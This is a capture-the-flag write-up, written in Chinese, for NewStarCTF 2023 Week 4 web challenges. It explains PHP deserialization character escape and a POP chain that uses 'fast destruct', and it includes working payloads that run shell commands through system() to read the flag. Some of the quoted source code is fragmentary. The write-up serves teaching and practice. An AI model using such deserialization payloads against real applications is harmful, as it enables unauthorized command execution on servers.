[wp]NewStarCTF 2023 WEEK4|WEB

WEEK4|WEB

源码:

key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

经典的反序列化漏洞字符逃逸增多问题 bad 替换为 good  字符增加一位

首先序列化代码很容易构造 如下

得到

O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:4:"ls /";}

我们需要逃逸的就是s:3:"cmd";s:4:"ls /";} 然后为了更好的闭合我一般都会加上; 这个符号 也就是需要逃逸;s:3:"cmd";s:4:"ls /";} 总共24个字符 这样我们只需要写24个bad就行了 我们测验一下

Payload:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

[wp]NewStarCTF 2023 WEEK4|WEB_第1张图片

找到flag 然后用同样的方法进行获取flag

最终paylod:

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

获得flag

[wp]NewStarCTF 2023 WEEK4|WEB_第2张图片

总结 

字符逃逸的主要原理就是闭合,和sql注入类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。

逃逸漏洞特点


此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:

php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化
反序列化字符逃逸问题根据过滤函数一般分为两种,字符数增多和字符数减少

More Fast

考点:

Fast destruct + 基础序列化构造

[wp]NewStarCTF 2023 WEEK4|WEB_第3张图片

源代码

errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");         
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

这里的POP链构造非常简单 基本了解每一种的魔术方法的触发条件就可以构造了 我们也不多讲 直接给代码

解题:

POP链:__destruct()->__toString()->__get($var)->__invoke()->Web

errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);

得到payload:

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}} 

我们传入得到 报错

[wp]NewStarCTF 2023 WEEK4|WEB_第4张图片

为什么呢?原来代码里面扔了个异常

这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发,所以才有了题目提示

 [wp]NewStarCTF 2023 WEEK4|WEB_第5张图片

所以就有个Fast desrtuct 这个知识点 我们如何快速触发?

快速触发desrtuct

1.修改序列化数字元素个数

原paylaod:O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

改成

O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

[wp]NewStarCTF 2023 WEEK4|WEB_第6张图片

2.去掉序列化尾部 }

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

 [wp]NewStarCTF 2023 WEEK4|WEB_第7张图片

两种都可以 发现flag了 直接cat /f*就行了

paylaod:

fast=O:5:"Start":3:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}} 

得到flag 

[wp]NewStarCTF 2023 WEEK4|WEB_第8张图片

你可能感兴趣的:(writeup,CTF,NewStart,web安全,php)